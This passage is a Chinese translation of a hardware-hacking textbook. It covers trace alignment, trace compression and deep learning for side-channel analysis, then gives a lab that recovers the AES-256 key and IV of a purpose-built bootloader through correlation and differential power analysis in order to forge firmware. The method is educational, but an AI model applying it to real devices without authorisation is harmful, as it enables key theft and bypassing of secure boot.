应用 SAD 方法,您需要选取一个轨迹作为参考轨迹。这就是您将对齐其他所有轨迹的基准轨迹。从这个参考轨迹中,您选择一组点,通常是一些在所有轨迹中都出现的特征。最后,您尝试对每个轨迹进行偏移,使得两个轨迹之间的绝对差最小化。本章附带一个小型 Jupyter 笔记本(nostarch.com/hardwarehacking/),实现了 SAD 并生成了图 11-19。

f11019

图 11-19:使用绝对差和(SAD)方法同步信号轨迹

另一种方法是使用循环卷积定理。两个信号之间的卷积本质上是两个信号在不同偏移量n下逐点相乘。使得此乘积值最小的n值是这两个信号的“最佳匹配”偏移量。直接计算非常昂贵。幸运的是,您可以通过对两个信号执行 FFT,对信号逐点相乘,然后进行反向 FFT 来获得卷积。此过程将为您提供每个偏移量n下两个信号之间的卷积结果,然后您只需要扫描最小值。

其他几个简单的重新同步模块可以在 ChipWhisperer 软件中找到。重新同步可能比仅仅应用静态偏移要更复杂。你可能需要在时间上扭曲追踪数据,或者删除某些追踪数据段,其中仅在少数几个追踪中发生了中断。我们在这里不详细介绍这些内容,但可以参考 Jasper G. J. van Woudenberg、Marc F. Witteman 和 Bram Bakker 的《通过弹性对齐改善差分功率分析》以了解更多关于弹性对齐的细节。

追踪压缩

捕获长时间的追踪数据可能会占用大量磁盘和内存空间。使用每秒采样速率为 GS/s 或更高的高速示波器时,你会很快发现追踪数据的大小会变得非常庞大。更糟糕的是,分析速度变得非常慢,因为分析是在每个样本上依次进行的。

如果真实目标是找到每个时钟周期中的一些泄漏信息,你可能会猜到不需要每个时钟周期的每一个样本。实际上,通常只保留每个时钟周期中的一个样本就足够了。这被称为追踪压缩,因为你大大减少了样本点的数量。

如本章“采样率”部分所述,你可以通过简单的下采样来执行追踪压缩,但这样做不会像真正的追踪压缩那样节省得多。

真正的追踪压缩使用一个函数来确定每个时钟周期的表示值。它可以是整个时钟周期或仅部分时钟周期内的最小值、最大值或平均值。如果你的目标设备有一个稳定的晶体振荡器,你可以通过在触发器的某个偏移位置采样来进行这种追踪压缩,因为设备和采样时钟都应该是稳定的。对于不稳定的时钟,你需要进行一些时钟恢复——例如,通过寻找表示时钟起始的峰值。一旦你获得时钟,你可能会发现只有时钟周期的前x百分比包含了大部分泄漏信息,因此你可以忽略其余部分。

在压缩电磁探测器测量时,需要考虑到电磁信号是功率信号的导数。因此,对于一个单一的功率尖峰,会有一个正向电磁尖峰,后面紧接着一个负向电磁尖峰。你不希望将捕获波形的正负部分平均化;从本质上讲,它们会相互抵消!在这种情况下,你只需要取该时钟周期内绝对样本值的总和。

使用卷积神经网络的深度学习

保持相关性要求像旁道分析这样的领域必须跟上机器学习(ML)的趋势。实际上,有两种看似富有成效的方式可以将旁道问题框定为机器学习的问题:第一种是将旁道分析视为一个(智能)代理的步骤序列,第二种是将旁道分析视为一个分类问题。这个研究课题在写作时仍然处于起步阶段,但它是一个重要的课题。旁道分析变得越来越重要,而我们的人手不足以跟上市场需求。任何像机器学习这样的自动化方法都至关重要。

考虑一下 代理 视角:代理观察它们的世界,执行某个动作,并根据它们的动作如何改变世界来受到惩罚或奖励。我们可以训练一个代理决定下一步该采取什么措施,比如决定是否根据 t 峰值的高度使用对齐、过滤或重采样。未来会证明这是聪明的还是愚蠢的,因为这个话题目前尚未被研究。

现在考虑一下 分类问题。分类是将一个对象归类到某个类别的科学。例如,现代的深度学习分类器能够接收任意图像,并以很高的准确率判断图像中是猫还是狗。用于执行分类的神经网络通过展示已经标注为“猫”或“狗”的数百万张图片进行训练。训练的目的是调整网络参数,使其能够检测出图像中代表猫或狗的特征。神经网络有趣的地方在于,调整过程完全通过观察发生;不需要专家描述检测“猫”或“狗”所需的特征。(在写作时,专家仍然需要设计网络结构以及如何训练网络)。旁道分析本质上是一个分类问题:我们试图从我们呈现的轨迹中分类出中间值。知道了这些中间值,我们就可以计算出密钥。

图 11-20 说明了训练神经网络进行旁道分析的过程。

f11020

图 11-20:训练神经网络进行旁道分析

我们用一组可爱的轨迹替代了我们心爱的猫和狗,这些轨迹会根据我们目标的中间值的 Hamming 权重逐一标注。对于 AES,这个标签可能是某个 S-box 输出的 Hamming 权重。这组标注的轨迹将作为神经网络的训练集,神经网络则希望学会如何从给定的轨迹中确定 Hamming 权重。最终的结果是一个训练好的模型,可以用于为新的轨迹分配 Hamming 权重的概率。

图 11-21 展示了如何利用网络的分类来获得中间值(进而是密钥)的置信度值。

该图显示了神经网络处理单个轨迹的过程。轨迹经过神经网络处理,最终输出一个关于汉明权重的概率分布。在这个例子中,最可能的汉明权重是 6,概率为 0.65。

我们可以通过向神经网络呈现轨迹和已知的中间值来训练它,如图 11-20 所示,然后让网络对具有未知中间值的轨迹进行分类,如图 11-21 所示,这实际上是一种 SPA 方法。这样的 SPA 分析在 ECC 或 RSA 中非常有用,在这些情况下,我们需要对表示计算的轨迹块进行分类,这些计算涉及一个或几个关键位。

f11021

图 11-21:使用网络的分类来帮助寻找密钥

DPA 方法是使用中间值的概率分布(即神经网络的输出),将该概率分布转化为对关键字节的置信度值,并针对每个观察到的轨迹更新这些置信度。在这里,我们与通常的神经网络分类方法有所不同:我们不关心每个轨迹的分类是否完美,只要平均来说,我们能够偏向相关关键字节的置信度值。换句话说,我们并不打算在每张图片中完美地识别出猫或狗,而是我们有成千上万张极其嘈杂的动物图片,我们试图判断它是否是猫。

正确训练的网络,特别是卷积神经网络,可以在不考虑方向、尺度、无关的颜色变化和一定程度噪声的情况下检测物体。因此,假设这些网络能够通过分析需要过滤和对齐的轨迹来减少人工工作量。在 Jasper 的 2018 年 Black Hat 演讲《降低门槛:深度学习用于侧信道分析》中(可以在 YouTube 上观看),他展示了他与合著者 Guilherme Perin 和 Baris Ege 的工作。他证明了神经网络是分析不对齐和一些噪声情况下的非对称加密和对称加密软件实现的可行方法。关于这一点,如何将其扩展到具有更强对抗措施的硬件实现仍然是一个未解之谜。该研究的一个有趣结果是,通过检测网络中的一阶泄漏,它突破了二阶掩码实现。

本工作的目标是消除人工分析师解释轨迹的需求。尽管我们尚未达到这一目标,但我们通过将努力转移到网络设计上,而不是侧信道分析中的多领域复杂性,或许已经使任务变得更简单。

总结

在本章的介绍中,我们提到这将是关于功耗分析的艺术,而非功耗分析的科学。科学部分是简单的——只需理解工具的功能即可。艺术则在于何时、如何以正确的方式应用这些工具,甚至是设计你自己的工具。要在这门艺术上达到专家级水平,需要经验,而这些经验只有通过实验才能获得。无论处于什么样的技能水平,都有有趣的目标可以进行尝试。在我们的实验室,我们分析的是多 GHz 的 SoC,但这需要一支具有几年的专业分析经验的团队,并且可能需要几个月的时间才能开始看到任何泄露现象。另一方面,对于初学者,我们只需要几小时就能教会没有经验的人如何破解一个简单微控制器上的密钥。无论你玩什么,尽量根据自己的经验水平来选择目标。

另一个很好的练习是构建你自己的对策。选择一个你能轻松破解的目标,并允许你加载自己的代码。试着思考,什么样的情况会真正让你作为攻击者难以破解实现;可以使用的一个技巧是,拿你分析中的一个步骤,打破该步骤所做的假设。一个简单的办法是随机化算法的时序,这样可以打破 DPA(差分功耗分析),并迫使你对跟踪信号进行对齐。通过这种方式,你不仅提升了系统的安全性,还提高了自己的攻击技能,并为下一个周末的活动提供了目标。

第十二章:测试时间:差分功率分析

本实验通过完整的攻击流程展示了一个使用 AES-256 加密的引导程序,目的是展示如何在实际系统中使用旁路功率分析。这个实验中的 AES-256 引导程序是专门为这个练习创建的。受害微控制器将通过串行连接接收一个命令,解密命令并确认附带的签名是否正确。然后,只有在签名检查成功的情况下,它才会将代码保存到内存中。为了让这个系统更具抗加密攻击的能力,引导程序将使用密码块链接(CBC)模式。目标是找出秘密密钥和 CBC 初始化向量,以便我们能成功伪造自己的固件。在实际的引导程序中,可能会有更多的功能,比如读取熔丝、设置硬件等,但这些功能并未实现,因为它们与旁路分析(SCA)攻击无关。

引导程序背景

在微控制器的世界里,引导程序是一段特定的代码,旨在让用户将新固件上传到内存中,这对于那些可能需要修补或更新的复杂代码设备特别有用。引导程序通过通信线路(如 USB 端口、串口、以太网端口、Wi-Fi 连接等)接收信息,并将这些数据存储到程序内存中。一旦接收到完整的固件,微控制器就能顺利运行其更新后的代码。

引导程序有一个主要的安全问题。制造商可能希望阻止任意方编写自己的固件并将其上传到微控制器上。这可能出于保护原因,因为攻击者如果能获得早期引导访问权限,可能会访问那些本不应该被访问的设备部分。另一个常见的原因是保护制造商的商业利益;在游戏和打印机行业,硬件以低于制造成本的价格出售,而这些成本通过销售与平台绑定的游戏和墨盒来收回。嵌入在安全引导中的安全功能用于实现这一锁定,因此绕过它会危及商业模式。

停止执行任意固件的最常见方式是添加数字签名(可选加密)。制造商可以将签名添加到固件代码中,并用秘密密钥对其加密。然后,引导程序可以解密传入的固件,并确认其签名是否正确。用户将无法知道与固件相关的加密或签名密钥,因此无法创建自己的引导代码。

在这个实验中,引导程序使用一个秘密的 AES 密钥来签名和加密固件。我们将展示如何提取它。

引导程序通信协议

在本实验中,引导程序的通信协议通过串口以 38,400 波特率运行。在这个例子中,引导程序始终等待新的数据发送;在实际应用中,通常会通过命令序列或启动时存在的特殊引脚来强制引导程序进入(例如,参见第三章中的“引导配置引脚”部分。图 12-1 展示了发送给引导程序的命令的样子。

f12001

图 12-1:引导程序帧格式

图 12-1 中的帧有四个部分:

  1. 0x00:一个字节的固定头部。

  2. 签名:一个秘密的 4 字节常量。引导程序在解密帧后会确认该签名是否正确。

  3. 数据:传入固件的十二个字节。此系统强制我们每次发送 12 个字节的代码;更完整的引导程序可能允许更长的可变长度数据帧。这些字节使用 AES-256 加密,采用 CBC 模式(将在下一节描述)。

  4. CRC-16:一个使用 CRC-CCITT 多项式(0x1021)的 16 位校验和。循环冗余校验(CRC)的最低有效位(LSB)先发送,然后是最高有效位(MSB)。引导程序会通过串口回复,描述该循环冗余校验是否有效。

引导程序对每个命令的响应是一个字节,指示 CRC-16 是否正确(见图 12-2)。

f12002

图 12-2:引导程序响应格式

在回复命令后,引导程序会验证签名是否正确。如果它与预期的制造商签名匹配,则 12 个字节的数据将写入闪存。否则,数据将被丢弃。引导程序不会向用户指示签名检查是否通过。

AES-256 CBC 的详细信息

系统使用 AES-256 块密码,在密码块链(CBC)模式下运行。通常,避免直接使用加密原语(即电子代码本,ECB),因为它意味着相同的明文每次都会映射到相同的密文。密码块链确保了如果你多次加密相同的 16 字节序列,加密后的块都是不同的。

图 12-3 展示了 AES-256 CBC 解密的工作原理。AES-256 解密块的详细信息将在后面详细讨论。

f12003

图 12-3:使用 AES-256 进行密码块链解密:一个块的密文用于解密下一个块,形成对前一个密文块的依赖链。

图 12-3 显示了解密后的输出并未直接作为明文使用。相反,输出与一个 16 字节的值做异或运算,该值来自于之前的密文。由于第一个解密块没有前一个密文可用,因此使用初始化向量(IV)代替。为了确保加密安全性,IV 通常被认为是公开的,但在我们的示例中,我们将其保密,以展示如果 IV 不可用时如何恢复它。如果我们要解密整个密文(包括第 0 块)或正确生成我们自己的密文,我们需要找到这个 IV 以及 AES 密钥。

攻击 AES-256

本实验中的引导加载程序使用 AES-256 解密,具有 256 位(32 字节)密钥,这意味着我们常规的 AES-128 CPA 攻击将无法直接使用;我们需要多几个额外步骤。首先,我们对逆 S-盒输出执行“常规”AES-128 CPA 攻击,以获得第 14 轮密钥。我们针对逆 S-盒,因为它是解密,解密的第一轮为第 14 轮。使用找到的轮密钥,我们可以计算第 13 轮的输入。接下来,我们将使用“一个特别的技巧”(下文描述)对第 13 轮逆 S-盒输出执行 CPA 攻击,以获得一个“变换过的”第 13 轮密钥。一旦得到它,我们将这个轮密钥转换为常规的第 13 轮密钥。现在我们有了两个轮密钥,这足以使用逆密钥调度来恢复完整的 AES-256 密钥。魔力就在于这些变换后的密钥,所以让我们深入了解它们。

首先,我们假设通过常规 CPA 已经恢复了第 14 轮密钥。这使得我们可以计算第 14 轮的输出。对于 AES 解密,第 14 轮的输出作为第 13 轮的输入,因此我们将其称为 X[13]。我们不能像第 14 轮那样直接对第 13 轮进行相同的 CPA 攻击,因为第 13 轮中存在逆 MixColumns 操作 (MixColumns[–1])。 MixColumns[–1] 操作接受 4 个字节的输入并生成 4 个字节的输出。单个字节的变化将导致所有 4 个字节的输出发生变化。我们需要对 4 个字节进行猜测,而不是 1 个字节,这意味着我们必须遍历 2³²次猜测,而不是 2⁸次。这将是一个相当耗时的操作。

为了解决这个问题,我们将做一些代数运算,首先将第 13 轮表示为一个方程式。第X[13]轮末的状态是第X[14]轮输入和第 13 轮密钥 K[13] 的函数:

X[13] = SubBytes**–1(MixColumns^(–1)(X[14] ⊕ K[13])))

MixColumns^(–1) 是一个线性函数;即:

MixColumns^(–1)(AB) = MixColumns^(–1)(A) ⊕ MixColumns^(–1)(B)

对于 ShiftRows^(–1) 也是如此。我们可以利用这一事实,通过重新书写 X[13] 的方程来得到:

X[13] = SubBytes(*–1*)(*ShiftRows*(–1)(MixColumns^(–1)(X[14])) ⊕ ShiftRows(*–1*)(*MixColumns*(–1)(K[13])))

我们将引入 K'[13],即第 13 轮的变换密钥:

K'[13] = ShiftRows(*–1*)(*MixColumns*(–1)(K[13])))

我们可以使用这个变换后的密钥来表示输出 X[13] 如下:

X[13] = SubBytes(*–1*)(*ShiftRows*(–1)(MixColumns^(–1)(X[14])) ⊕ K'[13])

使用这个方程,你可以看到 K'[13] 只是一个比特向量,我们可以通过 CPA 恢复它,而不依赖于 MixColumns^(–1)。因此,我们可以对 SubBytes^(–1) 输出的单独字节执行 CPA 攻击,一次恢复每个变换后的子密钥。 一旦我们有了所有变换后的子密钥字节的最佳猜测,就可以通过反转变换来恢复实际的轮密钥:

K[13] = MixColumns(ShiftRows(K'[13])))

最后一步很简单:使用逆 AES-256 密钥调度,我们可以使用 K[13] 和 K[14] 密钥来确定完整的 AES-256 加密密钥。如果你无法完全跟随这一步,不要担心;本章的 Jupyter 笔记本伴随章节 (nostarch.com/hardwarehacking/) 包含了必要的代码。

获取并构建引导加载程序代码

按照伴随笔记本顶部的说明进行设置,特别是正确设置 SCOPETYPE。如果你只是跟随跟踪,它们已经在虚拟机 (VM) 中提供。我们建议你先使用提供的预捕获跟踪进行跟随。伴随的 Jupyter 笔记本包含所有分析代码,包括所有“答案”。为了避免直接透露所有内容,我们已用军用级别的 RSA-16 加密了答案。首先,尝试自己找到这些答案。

如果你正在使用 ChipWhisperer 硬件作为目标,使用本笔记本编译引导加载程序并将其加载到目标上,通过运行与本节对应的笔记本中的所有单元。确保你可以看到闪存已编程并验证成功。

如果你没有使用 ChipWhisperer 作为目标,你需要自己移植、编译并加载引导加载程序代码。笔记本顶部有一个指向代码的链接。对于移植,检查 bootloader.c 中的 main() 函数,查看其中的 platform_init()init_uart()trigger_setup()trigger_high()trigger_low() 调用。simpleserial 库已包含,并使用 putch()getch() 与串口控制台通信。你可以在 victims/firmware/hal 文件夹中看到各种 硬件抽象层 (HALs)。你可以作为参考使用的最基础的 HAL 是 victims/firmware/hal/avr 文件夹中的 ATmega328P HAL。如果某个 HAL 已经与你想运行的设备匹配,那么只需在笔记本中指定与该 HAL 文件夹对应的匹配平台 YYY,并设置 PLATFORM=YYY 即可。在继续之前,请确保你已经构建并闪存了固件。

运行目标并捕获跟踪

让我们获取一些跟踪数据。如果你没有硬件,可以跳过这一步。如果有硬件,你需要设置目标并向其发送它接受的消息,因此你需要处理串行通信和计算 CRC。

如果你有 ChipWhisperer 设备,可以尝试在 ChipWhisperer-Lite XMEGA(“经典”)或 ChipWhisperer-Lite Arm 平台上运行。或者,你可以按照自己的 SCA 设置和/或目标进行操作。我们在第九章讨论了如何设置自己的功率测量;简单功率分析和相关功率分析的物理测量是相同的,因此请参考该章节,以获取使用自己设备设置过程的更多细节。本章中使用的引导加载程序代码也能在 ATmega328P 上运行,因此如果你使用的是基于 Arduino Uno 的功率捕获设置,你几乎可以直接运行引导加载程序代码。

在本实验中,我们有幸看到引导加载程序的源代码,通常在现实世界中我们是无法访问到的。我们将假设没有这些知识进行实验,稍后再查看以确认我们的假设。

计算 CRC

如果你在物理目标上运行,攻击该目标的下一步是与之通信。大部分传输过程相对直接,但 CRC 有些棘手。幸运的是,互联网上有大量开源代码可以用来计算 CRC。在这种情况下,我们将从pycrc导入一些代码,代码可以在我们的笔记本中找到。我们通过以下代码行来初始化它:

bl_crc = Crc(width = 16**,** poly=0x1021)

现在我们可以通过调用来轻松获取我们消息的 CRC。

bl_crc.bit_by_bit(message)

这意味着我们的消息将通过引导加载程序的基本可接受性测试。在现实生活中,你可能不知道 CRC 多项式,也就是我们在初始化 CRC 时通过poly参数传递的值。幸运的是,引导加载程序通常只使用几种常见的多项式。CRC 不是加密函数,因此该多项式不被视为机密。

与引导加载程序通信

完成这些步骤后,我们可以开始与引导加载程序进行通信。回想一下,引导加载程序期望的数据块格式如图 12-1 所示,其中包括一个 16 字节的加密消息。我们其实不关心这 16 字节消息的内容,只要每个不同,以便我们能为即将进行的 CPA 攻击提供多样的 Hamming 权重。因此,我们将使用 ChipWhisperer 代码生成随机消息。

我们现在可以运行target_sync()函数来与目标同步。该函数应该从目标接收0xA1,表示 CRC 失败。如果我们没有收到0xA1,我们将继续循环直到收到为止。此时,我们已经与目标同步。接下来,我们将发送一个具有正确 CRC 的缓冲区,以检查我们的通信是否正常工作。我们发送一个带有正确 CRC 的随机消息,应该会收到0xA4作为响应。

当我们看到此响应时,我们知道通信已按预期工作,可以继续进行。否则,就该开始调试了。一个典型的问题是通信参数错误(38,400 波特率,8N1,无流控制)。尝试使用串行终端手动连接到目标设备,按回车键直到开始看到响应。此外,串行连接失败可以通过逻辑分析仪或示波器进行调试。检查是否看到线路切换,并且它们的电压和波特率正确。如果没有响应,可能是目标设备未启动(它是否需要时钟信号并且有提供?),或者你没有连接到正确的 TX/RX 对。

捕捉概览追踪

既然这些都处理好了,我们可以继续进行追踪的捕捉。由于这是在微控制器上实现的软件 AES,我们可以通过观察 14 轮来直观地识别 AES 执行过程。我们正在执行 AES-256 解密,因此第 14 轮是首次执行的轮次!

我们将使用以下设置进行首次捕捉:

  1. 采样率:7.37 MS/s(每秒百万样本,1×设备时钟)

  2. 样本数量:24,400

  3. 触发器:上升沿

  4. 追踪次数:三次

对于初次捕捉,我们只是想获取芯片上正在发生的操作的概览,这意味着在样本数量方面,可以选择一个你确定可以捕获整个目标操作的非常大的数字。理想情况下,你希望能够清楚地看到操作的结束。结束通常通过某个无限循环来标识,设备正在等待更多输入,因此在追踪的尾部会看到一个无限重复的模式。图 12-4 显示了 XMEGA 目标的概览追踪,仅裁剪了 AES-256 操作。

f12004

图 12-4:ChipWhisperer XMEGA 目标上 AES-256 执行的功率追踪

我们实际上并没有看到操作的结束,但在这个例子中,我们只对前几轮感兴趣。通过放大,我们可以识别出解密的前两轮发生在前 4000 个样本内,这使我们能够在后续捕捉中缩小样本的数量。

如果你的概览追踪未能清晰显示 AES 过程,考虑检查目标设备和示波器的所有连接和配置,然后尝试隔离问题:

  • 检查目标设备是否正确输出触发信号,并且示波器响应触发信号。你可以在示波器上捕捉触发信号来进行调试。

  • 检查信号通道。即使你没有识别出其中的 AES,也需要看到某些活动。

  • 检查电缆和配置。

也有可能您的目标根本没有泄漏这么多(例如,如果您使用的是硬件加速的加密)。您可以通过使用相关性分析或 t 检验来开始定位加密,正如第十章和第十一章所述。对于本实验而言,这不在讨论范围内。

捕获详细跟踪

假设您有一个概览跟踪并已确定了前两轮,请使用以下设置并重新运行前面的循环以捕获一批数据:

  1. 采样率:29.49 MS/s(4×设备时钟)

  2. 样本数量:24,400

  3. 触发器:上升沿

  4. 跟踪数量:200

数字 200 是初步猜测:在微控制器上的软件 AES 通常像筛子一样泄漏,因此您不需要太多的跟踪数据。如果在分析过程中无法找到任何泄漏,您可能需要增加此数字并重试。再给您一个数据点:任何真正受保护的实现,或者在系统级芯片(SoC)上运行的加密,可能需要数百万甚至上千万的跟踪数据才能找到任何泄漏。

分析

现在您拥有了功率跟踪数据,可以进行 CPA 攻击。正如前面所述,您需要进行两次攻击:第一次获取第 14 轮密钥,第二次(使用第一次结果)获取第 13 轮密钥。最后,您需要进行一些后处理,以获得 256 位加密密钥。

第 14 轮密钥

我们可以使用标准的、不加修饰的 CPA 攻击来攻击第 14 轮密钥(使用逆 S-box,因为我们正在破解的是解密过程)。Python 处理 24,400 个样本的速度相对较慢,因此如果您想要更快的攻击,可以使用更小的范围。如果您查看图 12-4 中的轮次,您可以将样本范围缩小到仅包括第 14 轮。详细跟踪中的采样频率是概览的四倍,因此请确保考虑到这一点。

在对预先获取的跟踪数据运行分析代码时,我们会得到图 12-5 中显示的表格作为结果。该表格包含您正在寻找的密钥,所以只有在您想要答案时才查看它。

f12005

图 12-5:第 14 轮密钥的 16 个子密钥的前五个候选及其相关性峰值高度

此表格中的列显示了 16 个子密钥字节。五行表示五个最高排名的子密钥假设,按(绝对)相关性峰值高度降序排列。如果在硬件上运行,此数字会有所变化;但如果一切正常,您将在排名 0 处得到相同的密钥字节。从这个表格中,我们可以做出一些观察。由于该表仅表示完整 AES-256 密钥中的 128 位部分,我们无法使用密文/明文对来验证此部分密钥是否正确。事实上,由于我们没有解密固件,甚至不知道明文是什么,因此根本无法进行这项测试。

我们可以仅仅希望这一部分密钥是正确的,然后继续前进。然而,如果我们在第 14 轮的密钥上有一个比特错误,当我们尝试恢复第 13 轮的密钥时会完全卡住。这是因为我们需要计算第 13 轮的输入,而这依赖于正确的第 14 轮密钥。如果输入计算错误,我们将无法找到任何正确的 CPA 相关性。

为了确认这确实是正确的密钥,我们查看每个子密钥的不同候选密钥之间的相关性值。例如,对于子密钥 0,前五个候选密钥的相关性分别是 0.603、0.381、0.339、0.332 和 0.312。最佳候选密钥的相关性明显高于其他密钥,意味着我们有很高的信心认为 0xEA 是正确的猜测。如果最佳候选密钥的相关性是 0.385,那会让我们信心大大降低,因为它与其他候选密钥的差距较小。

正如图 12-5 中的表格所示,对于每个子密钥,最佳候选密钥的相关性明显高于第二个候选密钥,因此我们可以有足够的信心继续进行。作为经验法则,如果每个子密钥的最佳候选密钥和第二个候选密钥之间的差异是第二个候选密钥和第三个候选密钥差异的一个数量级,那么通常可以放心地继续。

如果你在使用自己的测量数据,请做一下检查。如果你的相关性显示信心较低,可以尝试多采集一些跟踪数据,或者改进跟踪数据的处理,包括第十一章中描述的任何技术,如滤波、对齐、压缩和重同步等。另外,不要气馁!第一次尝试时获得正确的泄漏极为罕见,这正是你利用真实处理和分析的机会。

接下来,笔记本将密钥字节收集到 rec_key 变量中,并打印出相关性值。它还会告诉你是否猜对了密钥!让我们继续处理密钥的另一半。

第 13 轮密钥

对于第 13 轮,我们需要处理 XMEGA 跟踪中的一些对齐问题,并且我们需要使用“变换”后的密钥添加泄漏模型。

重同步跟踪

如果你正在跟随 XMEGA 版本的固件,跟踪在第 13 轮泄漏发生之前会变得不同步。图 12-6 展示了不同步的跟踪。不同步是由于非恒定时间的 AES 实现所致;代码对每个输入的执行时间并不总是相同。(实际上,可以对这个 AES 实现进行时间攻击。不过,我们会继续聚焦于 CPA 攻击。)

尽管这为定时攻击打开了一个机会,但实际上使我们的 AES 攻击变得稍微难一些,因为我们需要重新同步(重新对齐)跟踪。幸运的是,我们可以很容易地使用ResyncSAD预处理模块来完成这个任务。它接收一个参考模式(ref_tracetarget_window),并使用绝对差值和(在第十一章的“重新同步”部分中解释)将其与其他跟踪进行匹配,以找到如何将其他跟踪对齐。使用这个模块时,跟踪会围绕目标窗口对齐。图 12-6 的下方图显示了结果。

f12006

图 12-6:上方是不同步的跟踪,下方是重新同步后的跟踪

泄露模型

ChipWhisperer 代码没有内建第 13 轮密钥的泄露模型,所以我们需要创建自己的模型。在笔记本中的leakage()方法接收 16 字节的输入数据,作为 AES-256 解密的pt参数,它将数据通过第 14 轮解密,使用之前找到的第 14 轮密钥(存储在k14中),然后进行ShiftRows(*–1*)操作,再进行*SubBytes*(–1)操作,最终生成x14

接下来,它会将x14通过一个部分的第 13 轮解密,使用我们之前解释过的变换密钥:

X[13] = SubBytes(*–1*)(*ShiftRows*(–1)(MixColumns^(–1)(X[14])) ⊕ K'[13])

然后,我们将x14输入到MixColumns(*–1*)和*ShiftRows*(–1)操作中。接着我们将一个单字节的密钥猜测值(即变换后的密钥K'[13],存储在guess[bnum]中)与其进行异或操作,最后应用一个单独的 S-box。输出的X[13]就是我们返回给 CPA 泄露模型的中间值。

运行攻击

和第 14 轮攻击类似,我们可以使用较小范围的点来加快攻击速度。运行这个攻击后,我们得到了如图 12-7 所示的结果表。

f12007

图 12-7:变换后的第 13 轮密钥的 16 个子密钥对应的前五个候选密钥及其相关性峰值高度

对于每个首选候选密钥,相关性看起来很好:排名为 0 的候选密钥的相关性峰值明显高于排名为 1 的候选密钥。如果你的情况也一样,可以继续进行下一步。

如果你这边看起来不对,检查一下所有的参数(检查两遍),确认第一次找到的密钥的相关性确实不错,并检查这一轮的对齐。如果这些都没有问题,那就真的很神秘了;通常 AES 的不同轮次需要相同的预处理(除了对齐),所以如果第 14 轮的密钥能够完全提取出来而第 13 轮不行,就很奇怪。我们能推荐的就是仔细检查每一步,使用已知的密钥相关性或 t 检验(参见第十一章“测试向量泄漏评估”部分)来判断在已知密钥的情况下是否能找到密钥。正如之前提到的,继续坚持下去。

当你拥有变换后的第 13 轮密钥时,在笔记本中运行该块,使得该密钥被打印并记录在rec_key2中。为了获得真实的第 13 轮密钥,笔记本会将你恢复的密钥通过ShiftRowsMixColumns操作。接下来,它将第 13 轮和第 14 轮密钥结合,然后通过适当运行 AES 密钥调度计算出完整的 AES 密钥。

你应该看到打印出的 32 字节密钥。如果它正确,庆祝一下!如果不正确,请检查你的代码,使用我们提供的密钥确保它正常工作。

恢复 IV

现在我们有了加密密钥,可以继续攻击下一个秘密值:初始化向量(IV)。通常,密码学中的 IV 被认为是公开信息,因此可以获取,但本教程的作者决定将其隐藏。我们将尝试使用差分功率分析(DPA)攻击恢复 IV,这意味着我们需要捕获一些操作的跟踪,这些操作将已知的变化数据与未知且恒定的 IV 结合。图 12-3 显示了 IV 与来自 AES-256 解密块的输出结合。由于我们已经恢复了 AES 密钥,我们知道并控制这个输出。这意味着我们拥有所有必要的条件,通过 DPA 攻击,瞄准将输出与 IV 结合的异或(XOR)操作。

捕获内容

第一个问题是:“微控制器究竟在什么时候能执行异或操作?”在这种情况下,“能”指的是硬性限制;例如,我们只能在所有异或输入都已知后执行异或操作,因此我们知道异或操作肯定不会发生在第一次 AES 解密之前。异或操作至少会发生在明文固件写入闪存之前。如果我们能在功率跟踪中找到 AES 解密和闪存写入的信号,那么我们可以确定异或操作会出现在两者之间。

然而,这通常会导致一个相当大的时间窗口,因此下一个问题是:“微控制器实际上会在什么时候执行异或操作?”在这种情况下,“会”指的是开发者方面的理智。代码可能会在 AES 解密完成后不久应用异或操作,尽管这不是一个绝对保证。开发者可能做出了其他选择。通常情况下,开发者会做出合理的选择,因此通过一些合理的推理,你可以缩小采集窗口。如果你把窗口缩小得太小,可能会完全错过这个操作,从而导致攻击失败。我们之所以尝试进行这样的优化,即便存在完全失败的风险,是因为更小的窗口会产生更小的文件,意味着更快速的攻击和能够捕获更多的跟踪信号。此外,实际攻击在较小窗口下几乎总是表现得更好,因为较小的窗口意味着你排除了不必要的噪音——噪音最终会降低攻击性能。

接下来,让我们以 AES-256 完成作为捕获 IV XOR 的起点。回想一下,在解密完成后触发引脚被拉低。这意味着我们可以通过在触发信号的下降沿触发我们的示波器,开始在 AES-256 功能之后进行采集。

现在的问题是要捕获多少个样本,这将是有点根据经验做出的猜测。从我们之前的捕获中,我们知道一个 14 轮的 AES 适配于 15,000 个样本。因此,一个简单的 16 字节 XOR 应该明显更短,至少少于一个轮次(比如 1,000 个样本)。然而,我们不知道 AES 后多久才会计算 XOR。为了安全起见,我们定为 24,400 个样本来进行单次追踪概览。

获取第一条追踪

现在我们已经猜测了要采集的内容,让我们看看采集代码。与采集 AES 操作相比,现在有几个额外的方面需要考虑:

  • IV 只在第一次解密时应用,这意味着我们需要在每次捕获追踪前重置目标。

  • 我们在下降沿触发后捕获 AES 后的操作。

  • 根据目标的不同,我们可能需要通过发送一堆无效数据并寻找错误的 CRC 返回来清空目标的串行线。这一步骤会显著减慢捕获过程,所以你可以先尝试不执行这一步。

笔记本代码实现了所需的捕获逻辑,如果捕获成功,它会为我们绘制一条单一的追踪图以供检查(见图 12-8)。采集参数如下:

  1. 采样率:29.49 MS/s(设备时钟的 4 倍)

  2. 样本数量:24,400

  3. 触发器:下降沿

  4. 追踪次数:三次

在继续之前,尝试找到你认为 IV 被计算的范围。想一想在 AES 计算后,AES CBC 中可能发生的操作的顺序和持续时间。

现在,我们必须根据现有信息做出一个合理的猜测,判断这个操作窗口是否足够好,能够继续进行。看起来在 0 到大约 1,000 个样本之间有 16 次重复,同样在 1,000 到 2,000 个样本之间也有重复。它们的持续时间(样本数量)符合我们大约 1,000 个样本的预期。我们将继续假设在 0 到 1,000 之间的某个位置发生了 XOR。如果最终我们没有找到 IV,可能需要重新考虑这个假设。

如果你在自己的采集中没有看到清晰的概览追踪,可以回到本章的“捕获概览追踪”部分,了解如何为 AES 捕获概览追踪。如果丢失信号,有时回到前几步是有帮助的。

f12008

图 12-8:AES 操作后,IV XOR 隐藏在某处的功率追踪

获取其余的追踪

现在我们已经从概览追踪中获得了 XOR 发生的正确时机,我们可以继续进行捕获。它和上次的捕获非常相似,唯一的不同是你会注意到这次的采集会慢得多。这是因为我们必须在每次捕获之间重置目标,以便将设备重置到初始 IV。

现在,我们将把我们的追踪数据存储在 Python 列表中,稍后我们会转换为 NumPy 数组以便进行简单分析。至于追踪的数量 N,我们可以采用与 AES 相同的数量,因为泄漏特性可能是相似的。

